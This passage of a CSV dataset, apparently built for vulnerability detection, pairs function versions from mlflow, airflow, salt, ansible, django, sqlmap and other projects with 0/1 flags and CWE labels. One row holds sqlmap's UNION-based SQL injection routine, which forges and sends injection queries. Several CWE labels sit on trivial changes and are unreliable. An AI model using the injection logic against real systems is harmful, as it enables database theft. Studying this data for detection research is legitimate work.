        foreign_keys_in_runs = inspect(engine).get_foreign_keys(""runs"")
        fk_run = foreign_keys_in_runs[0]
        op.drop_constraint(fk_run[""name""], table_name=""runs"", type_=""foreignkey"")

        # NB: MSSQL requires that modifications to primary key columns do not have a primary key
        # status assigned to the columns. These primary keys will be recreated after altering
        # the columns typing.
        if engine_name == ""mssql"":
            op.drop_constraint(""experiment_pk"", table_name=""experiments"", type_=""primary"")
            op.drop_constraint(""experiment_tag_pk"", table_name=""experiment_tags"", type_=""primary"")

        experiments_table_args = PrimaryKeyConstraint(""experiment_id"", name=""experiment_pk"")
    else:
        experiments_table_args = []

    with op.batch_alter_table(
        ""experiments"",
        table_args=experiments_table_args,
    ) as batch_op:

        if engine_name == ""mssql"":
            batch_op.alter_column(
                ""experiment_id"",
                existing_type=sa.Integer,
                type_=sa.BigInteger,
                existing_nullable=False,
                nullable=False,
                existing_autoincrement=True,
                autoincrement=False,
                existing_server_default=None,
                existing_comment=None,
            )
        else:
            experiment_id_seq = Sequence(""experiment_id_seq"", start=1)
            batch_op.alter_column(
                ""experiment_id"",
                existing_type=sa.Integer,
                type_=sa.BigInteger,
                existing_nullable=False,
                nullable=False,
                existing_autoincrement=True,
                autoincrement=False,
                existing_server_default=experiment_id_seq.next_value(),
                server_default=None,
            )

    if engine_name == ""sqlite"":
        # NB: sqlite will perform an in-place copy of a table and recreate constraints as defined
        # in the `table_args` argument to the batch constructor.
        experiments_tags_table_args = (
            PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
            ForeignKeyConstraint(
                columns=[""experiment_id""], refcolumns=[""experiments.experiment_id""]
            ),
        )
    else:
        # For postgres and mysql, the primary key definition will be applied to the altered table
        # if defined in the `table_args` argument (and will be ignored in mssql).
        experiments_tags_table_args = (
            PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
        )

    with op.batch_alter_table(
        ""experiment_tags"",
        table_args=experiments_tags_table_args,
    ) as batch_op:
        batch_op.alter_column(
            ""experiment_id"",
            existing_type=sa.Integer,
            type_=sa.BigInteger,
            existing_nullable=False,
            nullable=False,
        )

    with op.batch_alter_table(
        ""runs"",
    ) as batch_op:
        batch_op.alter_column(
            ""experiment_id"",
            existing_type=sa.Integer,
            type_=sa.BigInteger,
            existing_nullable=True,
            nullable=True,
        )
        if engine_name == ""sqlite"":
            # sqlite will not port over unnamed constraints. Existing version has this
            # constraint defined as `CHECK()` rather than `CONSTRAINT <namme> CHECK()`
            batch_op.create_check_constraint(
                constraint_name=""status"",
                condition=""status IN ('SCHEDULED', 'FAILED', 'FINISHED', 'RUNNING', 'KILLED')"",
            )

    # NB: MSSQL identity columns cannot be modified. Copying data to new column.
    # Then, drooping original and renaming the new column.
    if engine_name == ""mssql"":

        # create the new column (cannot create non-nullable due to 'empty' column)
        op.add_column(
            ""experiments"", sa.Column(""exp_id"", sa.BigInteger, autoincrement=False, nullable=True)
        )

        # Existing `experiment_id` column due to autoincrement, has an identity property.
        # Allow for inserts in mssql with this column present.
        op.execute(""SET IDENTITY_INSERT experiments ON;"")

        # perform data migration by copying all experiment_id data to temporary column
        op.execute(""UPDATE experiments SET exp_id = experiment_id"")

        # drop column the old experiment_id column
        op.drop_column(table_name=""experiments"", column_name=""experiment_id"")

        # rename temporary column with required mssql arguments for converting to nullable
        op.alter_column(
            table_name=""experiments"",
            column_name=""exp_id"",
            new_column_name=""experiment_id"",
            existing_type=sa.BigInteger,
            type_=sa.BigInteger,
            existing_nullable=True,
            nullable=False,
        )

    if engine_name != ""sqlite"":

        # NB: mssql requires that foreign keys reference primary keys prior to
        # creation of a foreign key. Recreate the primary keys that were previously dropped.
        if engine.engine.name == ""mssql"":
            op.create_primary_key(
                constraint_name=""experiment_pk"", table_name=""experiments"", columns=[""experiment_id""]
            )
            op.create_primary_key(
                constraint_name=""experiment_tag_pk"",
                table_name=""experiment_tags"",
                columns=[""key"", ""experiment_id""],
            )

        # Recreate the foreign key and name it for future direct reference
        op.create_foreign_key(
            constraint_name=""fk_experiment_tag"",
            source_table=""experiment_tags"",
            referent_table=""experiments"",
            local_cols=[""experiment_id""],
            remote_cols=[""experiment_id""],
        )

        op.create_foreign_key(
            constraint_name=""fk_runs_experiment_id"",
            source_table=""runs"",
            referent_table=""experiments"",
            local_cols=[""experiment_id""],
            remote_cols=[""experiment_id""],
        )

    _logger.info(""Conversion of experiment_id from autoincrement complete!"")"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/use.py,0,"def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.rowXmlMode:
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            where = vector[6]
            query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if not kb.rowXmlMode:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return reduce(lambda x, y: x if x is not None else y, (\
                        extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
                        if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
                        None)

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
                warnMsg = ""automatically patching output having last char trimmed""
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _(""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop))
        else:
            output = extractRegexResult(r""(?P<result>(<row.+?/>)+)"", page)
            if output:
                try:
                    root = xml.etree.ElementTree.fromstring(""<root>%s</root>"" % output)
                    retVal = """"
                    for column in kb.dumpColumns:
                        base64 = True
                        for child in root:
                            try:
                                child.attrib.get(column, """").decode(""base64"")
                            except binascii.Error:
                                base64 = False
                                break

                        if base64:
                            for child in root:
                                child.attrib[column] = child.attrib.get(column, """").decode(""base64"") or NULL

                    for child in root:
                        row = []
                        for column in kb.dumpColumns:
                            row.append(child.attrib.get(column, NULL))
                        retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)

                except xml.etree.ElementTree.ParseError:
                    pass

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlunescape(retVal).replace(""<br>"", ""\n"")

            hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)

        elif not kb.rowXmlMode:
            trimmed = _(""%s(?P<result>.*?)<"" % (kb.chars.start))

            if trimmed:
                warnMsg = ""possible server trimmed output detected ""
                warnMsg += ""(probably due to its length and/or content): ""
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal",,sqlmapproject/sqlmap,1e6191e3b1c13db089a0b5aac70bb3a4d25b1875,"def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.rowXmlMode:
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            where = vector[6]
            query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if not kb.rowXmlMode:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return reduce(lambda x, y: x if x is not None else y, (\
                        extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
                        if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
                        None)

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
                warnMsg = ""automatically patching output having last char trimmed""
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _(""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop))
        else:
            output = extractRegexResult(r""(?P<result>(<row[^>]+>)+)"", page)
            if output:
                retVal = """"
                root = xml.etree.ElementTree.fromstring(""<root>%s</root>"" % output)
                for column in kb.dumpColumns:
                    base64 = True
                    for child in root:
                        try:
                            child.attrib.get(column, """").decode(""base64"")
                        except binascii.Error:
                            base64 = False
                            break

                    if base64:
                        for child in root:
                            child.attrib[column] = child.attrib.get(column, """").decode(""base64"") or NULL

                for child in root:
                    row = []
                    for column in kb.dumpColumns:
                        row.append(child.attrib.get(column, NULL))
                    retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlunescape(retVal).replace(""<br>"", ""\n"")

            hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)

        elif not kb.rowXmlMode:
            trimmed = _(""%s(?P<result>.*?)<"" % (kb.chars.start))

            if trimmed:
                warnMsg = ""possible server trimmed output detected ""
                warnMsg += ""(probably due to its length and/or content): ""
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/utils/docs_publisher.py,0,"def publish(self, override_versioned: bool, airflow_site_dir: str):
        """"""Copy documentation packages files to airflow-site repository.""""""
        get_console(output=self.output).print(f""Publishing docs for {self.package_name}"")
        output_dir = os.path.join(airflow_site_dir, self._publish_dir)
        pretty_source = pretty_format_path(self._build_dir, os.getcwd())
        pretty_target = pretty_format_path(output_dir, airflow_site_dir)
        get_console(output=self.output).print(f""Copy directory: {pretty_source} => {pretty_target}"")
        if os.path.exists(output_dir):
            if self.is_versioned:
                if override_versioned:
                    get_console(output=self.output).print(f""Overriding previously existing {output_dir}! "")
                else:
                    get_console(output=self.output).print(
                        f""Skipping previously existing {output_dir}! ""
                        f""Delete it manually if you want to regenerate it!""
                    )
                    get_console(output=self.output).print()
                    return 1, f""Skipping {self.package_name}: Previously existing directory""
            # If output directory exists and is not versioned, delete it
            shutil.rmtree(output_dir)
        shutil.copytree(self._build_dir, output_dir)
        if self.is_versioned:
            with open(os.path.join(output_dir, "".."", ""stable.txt""), ""w"") as stable_file:
                stable_file.write(self._current_version)
        get_console(output=self.output).print()
        return 0, f""Docs published: {self.package_name}""",CWE-Unknown,apache/airflow,562ce2a144eae03d2da44050dae34003203ed9b6,"def publish(self, override_versioned: bool, airflow_site_dir: str):
        """"""Copy documentation packages files to airflow-site repository.""""""
        get_console(output=self.output).print(f""Publishing docs for {self.package_name}"")
        output_dir = os.path.join(airflow_site_dir, self._publish_dir)
        pretty_source = pretty_format_path(self._build_dir, os.getcwd())
        pretty_target = pretty_format_path(output_dir, airflow_site_dir)
        get_console(output=self.output).print(f""Copy directory: {pretty_source} => {pretty_target}"")
        if os.path.exists(output_dir):
            if self.is_versioned:
                if override_versioned:
                    get_console(output=self.output).print(f""Overriding previously existing {output_dir}! "")
                else:
                    get_console(output=self.output).print(
                        f""Skipping previously existing {output_dir}! ""
                        f""Delete it manually if you want to regenerate it!""
                    )
                    get_console(output=self.output).print()
                    return
            shutil.rmtree(output_dir)
        shutil.copytree(self._build_dir, output_dir)
        if self.is_versioned:
            with open(os.path.join(output_dir, "".."", ""stable.txt""), ""w"") as stable_file:
                stable_file.write(self._current_version)
        get_console(output=self.output).print()"
,UNKNOWN,UNKNOWN,lib/ansible/cli/pull.py,1,"def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage='%prog -U <repository> [options]',
            connect_opts=True,
            vault_opts=True,
            runtask_opts=True,
            subset_opts=True,
            inventory_opts=True,
            module_opts=True,
        )

        # options unique to pull
        self.parser.add_option('--purge', default=False, action='store_true', help='purge checkout after playbook run')
        self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
            help='only run the playbook if the repository has been updated')
        self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
            help='sleep for random interval (between 0 and n number of seconds) before starting. This is a useful way to disperse git requests')
        self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
            help='run the playbook even if the repository could not be updated')
        self.parser.add_option('-d', '--directory', dest='dest', default=None,
            help='directory to checkout repository to')
        self.parser.add_option('-U', '--url', dest='url', default=None,
            help='URL of the playbook repository')
        self.parser.add_option('-C', '--checkout', dest='checkout',
            help='branch/tag/commit to checkout.  ' 'Defaults to behavior of repository module.')
        self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
            help='adds the hostkey for the repo url if not already added')
        self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
            help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
        self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
            help='verify GPG signature of checked out commit, if it fails abort running the playbook.'
                 ' This needs the corresponding VCS module to support such an operation')

        self.options, self.args = self.parser.parse_args()

        if not self.options.dest:
            hostname = socket.getfqdn()
            # use a hostname dependent directory, in case of $HOME on nfs
            self.options.dest = os.path.join('~/.ansible/pull', hostname)

        if self.options.sleep:
            try:
                secs = random.randint(0,int(self.options.sleep))
                self.options.sleep = secs
            except ValueError:
                raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)

        if not self.options.url:
            raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")

        if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
            raise AnsibleOptionsError(""Unsuported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))

        display.verbosity = self.options.verbosity
        self.validate_conflicts(vault_opts=True)",CWE-330,ansible/ansible,46718ac3f49dde4deb1b32e088578d270a0fc907,"def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage='%prog -U <repository> [options]',
            connect_opts=True,
            vault_opts=True,
            runtask_opts=True,
            subset_opts=True,
            inventory_opts=True,
            module_opts=True,
        )

        # options unique to pull
        self.parser.add_option('--purge', default=False, action='store_true', help='purge checkout after playbook run')
        self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
            help='only run the playbook if the repository has been updated')
        self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
            help='sleep for random interval (between 0 and n number of seconds) before starting. This is a useful way to disperse git requests')
        self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
            help='run the playbook even if the repository could not be updated')
        self.parser.add_option('-d', '--directory', dest='dest', default='~/.ansible/pull',
            help='directory to checkout repository to')
        self.parser.add_option('-U', '--url', dest='url', default=None,
            help='URL of the playbook repository')
        self.parser.add_option('-C', '--checkout', dest='checkout',
            help='branch/tag/commit to checkout.  ' 'Defaults to behavior of repository module.')
        self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
            help='adds the hostkey for the repo url if not already added')
        self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
            help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
        self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
            help='verify GPG signature of checked out commit, if it fails abort running the playbook.'
                 ' This needs the corresponding VCS module to support such an operation')

        self.options, self.args = self.parser.parse_args()

        if self.options.sleep:
            try:
                secs = random.randint(0,int(self.options.sleep))
                self.options.sleep = secs
            except ValueError:
                raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)

        if not self.options.url:
            raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")

        if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
            raise AnsibleOptionsError(""Unsuported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))

        display.verbosity = self.options.verbosity
        self.validate_conflicts(vault_opts=True)"
,UNKNOWN,UNKNOWN,tests/integration/states/test_pkgrepo.py,1,"def test_pkgrepo_01_managed(self, grains):
        '''
        Test adding a repo
        '''
        if grains['os'] == 'Ubuntu' and grains['osrelease_info'] >= (15, 10):
            self.skipTest(
                'The PPA used for this test does not exist for Ubuntu Wily'
                ' (15.10) and later.'
            )

        if grains['os_family'] == 'Debian':
            try:
                from aptsources import sourceslist  # pylint: disable=unused-import
            except ImportError:
                self.skipTest(
                    'aptsources.sourceslist python module not found'
                )
        ret = self.run_function('state.sls', mods='pkgrepo.managed', timeout=120)
        # If the below assert fails then no states were run, and the SLS in
        # tests/integration/files/file/base/pkgrepo/managed.sls needs to be
        # corrected.
        self.assertReturnNonEmptySaltType(ret)
        for state_id, state_result in six.iteritems(ret):
            self.assertSaltTrueReturn(dict([(state_id, state_result)]))",CWE-703,saltstack/salt,3ad69c8fabe76e45426950c99b6e43b28340f2f9,"def test_pkgrepo_01_managed(self, grains):
        '''
        Test adding a repo
        '''
        if grains['os'] == 'Ubuntu' and grains['osrelease_info'] >= (15, 10):
            self.skipTest(
                'The PPA used for this test does not exist for Ubuntu Wily'
                ' (15.10) and later.'
            )

        if grains['os_family'] == 'Debian':
            try:
                from aptsources import sourceslist
            except ImportError:
                self.skipTest(
                    'aptsources.sourceslist python module not found'
                )
        ret = self.run_function('state.sls', mods='pkgrepo.managed', timeout=120)
        # If the below assert fails then no states were run, and the SLS in
        # tests/integration/files/file/base/pkgrepo/managed.sls needs to be
        # corrected.
        self.assertReturnNonEmptySaltType(ret)
        for state_id, state_result in six.iteritems(ret):
            self.assertSaltTrueReturn(dict([(state_id, state_result)]))"
,UNKNOWN,UNKNOWN,tests/providers/smtp/hooks/smtp.py,1,"def test_send_smtp(self, mock_smtplib):
        mock_send_mime = mock_smtplib.SMTP_SSL().sendmail
        with SmtpHook() as smtp_hook, tempfile.NamedTemporaryFile() as attachment:
            attachment.write(b""attachment"")
            attachment.seek(0)
            smtp_hook.send_email_smtp(
                to=""to"", subject=""subject"", html_content=""content"", files=[attachment.name]
            )
            assert mock_send_mime.called
            _, call_args = mock_send_mime.call_args
            assert ""from"" == call_args[""from_addr""]
            assert [""to""] == call_args[""to_addrs""]
            msg = call_args[""msg""]
            assert ""Subject: subject"" in msg
            assert ""From: from"" in msg
            filename = 'attachment; filename=""' + os.path.basename(attachment.name) + '""'
            assert filename in msg
            mimeapp = MIMEApplication(""attachment"")
            assert mimeapp.get_payload() in msg",CWE-703,apache/airflow,a15e73478521707487e1a6d6f7ef7f213b282023,"def test_send_smtp(self, mock_smtplib):
        mock_send_mime = mock_smtplib.SMTP_SSL().sendmail
        with SmtpHook() as smtp_hook, tempfile.NamedTemporaryFile() as attachment:
            attachment.write(b""attachment"")
            attachment.seek(0)
            smtp_hook.send_email_smtp(""to"", ""subject"", ""content"", files=[attachment.name])
            assert mock_send_mime.called
            _, call_args = mock_send_mime.call_args
            assert ""from"" == call_args[""from_addr""]
            assert [""to""] == call_args[""to_addrs""]
            msg = call_args[""msg""]
            assert ""Subject: subject"" in msg
            assert ""From: from"" in msg
            filename = 'attachment; filename=""' + os.path.basename(attachment.name) + '""'
            assert filename in msg
            mimeapp = MIMEApplication(""attachment"")
            assert mimeapp.get_payload() in msg"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/xapi.py,0,"def getFreeCpuCount():
            cnt = 0
            for host_cpu_it in host_cpu_rec:
                if not host_cpu_rec['cpu_pool']:
                    cnt += 1
            return cnt",,saltstack/salt,70020977ee1a7f19dadc2bf0f72a6d5fa87e6760,"def getFreeCpuCount():
            cnt = 0
            for host_cpu_it in host_cpu_rec:
                if len(host_cpu_rec['cpu_pool']) == 0:
                    cnt += 1
            return cnt"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/execution_time/secrets_masker.py,0,"def _redact_all(self, item: Redactable, depth: int, max_depth: int = MAX_RECURSION_DEPTH) -> Redacted:
        if depth > max_depth or isinstance(item, str):
            return ""***""
        if isinstance(item, dict):
            return {
                dict_key: self._redact_all(subval, depth + 1, max_depth) for dict_key, subval in item.items()
            }
        if isinstance(item, (tuple, set)):
            # Turn set in to tuple!
            return tuple(self._redact_all(subval, depth + 1, max_depth) for subval in item)
        if isinstance(item, list):
            return list(self._redact_all(subval, depth + 1, max_depth) for subval in item)
        return item",CWE-Unknown,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def _redact_all(self, item: Redactable, depth: int, max_depth: int = MAX_RECURSION_DEPTH) -> Redacted:
        if depth > max_depth or isinstance(item, str):
            return ""***""
        if isinstance(item, dict):
            return {
                dict_key: self._redact_all(subval, depth + 1, max_depth) for dict_key, subval in item.items()
            }
        elif isinstance(item, (tuple, set)):
            # Turn set in to tuple!
            return tuple(self._redact_all(subval, depth + 1, max_depth) for subval in item)
        elif isinstance(item, list):
            return list(self._redact_all(subval, depth + 1, max_depth) for subval in item)
        else:
            return item"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/dc/tests/test_json_container.py,0,"def test_is_json_false(self):
        self.assertFalse(JSONContainer.is_json('x'))",,andresriancho/w3af,2378f2665f5650a6d58d7aaafcdfd74ec2cbc861,"def test_is_json_false(self):
        self.assertFalse(JSONContainer.is_json('x'))"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/utils/test_requirements_utils.py,0,"def test_infer_requirements_does_not_print_warning_for_recognized_packages():
    with mock.patch(
        ""mlflow.utils.requirements_utils._capture_imported_modules"",
        return_value=[""sklearn""],
    ), mock.patch(
        ""mlflow.utils.requirements_utils._PYPI_PACKAGE_INDEX"",
        _PyPIPackageIndex(date=""2022-01-01"", package_names={""scikit-learn""}),
    ), mock.patch(
        ""mlflow.utils.requirements_utils._logger.warning""
    ) as mock_warning:
        _infer_requirements(""path/to/model"", ""sklearn"")
        mock_warning.assert_not_called()",,mlflow/mlflow,e2e2b4c2a3b4889d480ecf4622b06bb35ecd4af5,"def test_infer_requirements_does_not_print_warning_for_recognized_packages():
    with mock.patch(
        ""mlflow.utils.requirements_utils._capture_imported_modules"",
        return_value=[""sklearn""],
    ), mock.patch(
        ""mlflow.utils.requirements_utils._PYPI_PACKAGE_INDEX"",
        _PyPIPackageIndex(date=""2022-01-01"", package_names=set([""scikit-learn""])),
    ), mock.patch(
        ""mlflow.utils.requirements_utils._logger.warning""
    ) as mock_warning:
        _infer_requirements(""path/to/model"", ""sklearn"")
        mock_warning.assert_not_called()"
,UNKNOWN,UNKNOWN,tests/pytorch/test_pytorch_autolog.py,1,"def test_pytorch_autologging_supports_data_parallel_execution():
    mlflow.pytorch.autolog()
    model = IrisClassification()
    dm = IrisDataModule()
    dm.setup(stage=""fit"")

    accelerator = ""cpu"" if Version(pl.__version__) > Version(""1.6.4"") else ""ddp_cpu""
    devices_kwarg_name = (
        ""devices"" if Version(pl.__version__) > Version(""1.6.4"") else ""num_processes""
    )
    trainer = pl.Trainer(
        max_epochs=NUM_EPOCHS,
        accelerator=accelerator,
        strategy=""ddp_spawn"",
        **{
            devices_kwarg_name: 4,
        },
    )

    with mlflow.start_run() as run:
        trainer.fit(model, datamodule=dm)
        trainer.test(datamodule=dm)

    client = MlflowClient()
    run = client.get_run(run.info.run_id)

    # Checking if metrics are logged
    client = MlflowClient()
    for metric_key in [""loss"", ""train_acc"", ""val_loss"", ""val_acc""]:
        assert metric_key in run.data.metrics

    data = run.data
    assert ""test_loss"" in data.metrics
    assert ""test_acc"" in data.metrics

    # Testing optimizer parameters are logged
    assert ""optimizer_name"" in data.params
    assert data.params[""optimizer_name""] == ""Adam""

    # Testing model_summary.txt is saved
    client = MlflowClient()
    artifacts = client.list_artifacts(run.info.run_id)
    artifacts = [x.path for x in artifacts]
    assert ""model"" in artifacts
    assert ""model_summary.txt"" in artifacts",CWE-703,mlflow/mlflow,a9a7f6d04058c41c4de7f20335eba7bd1447489f,"def test_pytorch_autologging_supports_data_parallel_execution():
    mlflow.pytorch.autolog()
    model = IrisClassification()
    dm = IrisDataModule()
    dm.setup(stage=""fit"")

    accelerator = ""cpu"" if Version(pl.__version__) > Version(""1.6.4"") else ""ddp_cpu""
    devices_kwarg_name = (
        ""devices"" if Version(pl.__version__) > Version(""1.6.4"") else ""num_processes""
    )
    trainer = pl.Trainer(
        max_epochs=NUM_EPOCHS,
        accelerator=accelerator,
        **{
            devices_kwarg_name: 4,
        },
    )

    with mlflow.start_run() as run:
        trainer.fit(model, datamodule=dm)
        trainer.test(datamodule=dm)

    client = MlflowClient()
    run = client.get_run(run.info.run_id)

    # Checking if metrics are logged
    client = MlflowClient()
    for metric_key in [""loss"", ""train_acc"", ""val_loss"", ""val_acc""]:
        assert metric_key in run.data.metrics

    data = run.data
    assert ""test_loss"" in data.metrics
    assert ""test_acc"" in data.metrics

    # Testing optimizer parameters are logged
    assert ""optimizer_name"" in data.params
    assert data.params[""optimizer_name""] == ""Adam""

    # Testing model_summary.txt is saved
    client = MlflowClient()
    artifacts = client.list_artifacts(run.info.run_id)
    artifacts = [x.path for x in artifacts]
    assert ""model"" in artifacts
    assert ""model_summary.txt"" in artifacts"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/addrspaces/crash.py,0,"def close(self):
        self.base.close()",,volatilityfoundation/volatility,c00de40450412e6d3a56f90cc2253bd33b8fed8c,"def close(self):
        self.base.close()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/schema/tests.py,0,"def test_add_binaryfield_mediumblob(self):
        """"""
        Test adding a custom-sized binary field on MySQL (#24846).
        """"""
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Add the new field with default
        new_field = MediumBlobField(blank=True, default=b""123"")
        new_field.set_attributes_from_name(""bits"")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        columns = self.column_classes(Author)
        # Introspection treats BLOBs as TextFields
        self.assertEqual(columns[""bits""][0], ""TextField"")",CWE-Unknown,django/django,3848475eeb5ee8f7729440f50c04fd85cf8bea66,"def test_add_binaryfield_mediumblob(self):
        """"""
        Test adding a custom-sized binary field on MySQL (#24846).
        """"""
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Add the new field with default
        new_field = MediumBlobField(blank=True, default=b""123"")
        new_field.set_attributes_from_name(""bits"")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        columns = self.column_classes(Author)
        # Introspection treats BLOBs as TextFields
        self.assertEqual(columns[""bits""][0], ""TextField"")"
,UNKNOWN,UNKNOWN,salt/states/dockerng.py,1,"def _compare(actual, create_kwargs, runtime_kwargs):
    '''
    Compare the desired configuration against the actual configuration returned
    by dockerng.inspect_container
    '''
    _get = lambda path: (
        salt.utils.traverse_dict(actual, path, NOTSET, delimiter=':')
    )
    ret = {}
    for desired, valid_opts in ((create_kwargs, VALID_CREATE_OPTS),
                                (runtime_kwargs, VALID_RUNTIME_OPTS)):
        for item, data, in six.iteritems(desired):
            if item not in valid_opts:
                log.error(
                    'Trying to compare \'{0}\', but it is not a valid '
                    'parameter. Skipping.'.format(item)
                )
                continue
            log.trace('dockerng.running: comparing ' + item)
            conf_path = valid_opts[item]['path']
            if isinstance(conf_path, tuple):
                actual_data = [_get(x) for x in conf_path]
                for val in actual_data:
                    if val is NOTSET:
                        _api_mismatch(item)
            else:
                actual_data = _get(conf_path)
                if actual_data is NOTSET:
                    _api_mismatch(item)
            log.trace('dockerng.running ({0}): desired value: {1}'
                      .format(item, data))
            log.trace('dockerng.running ({0}): actual value: {1}'
                      .format(item, actual_data))

            if actual_data is None and data is not None \
                    or actual_data is not None and data is None:
                ret.update({item: {'old': actual_data, 'new': data}})
                continue

            # 'create' comparison params
            if item == 'detach':
                # Something unique here. Two fields to check, if both are False
                # then detach is True
                actual_detach = all(x is False for x in actual_data)
                log.trace('dockerng.running ({0}): munged actual value: {1}'
                          .format(item, actual_detach))
                if actual_detach != data:
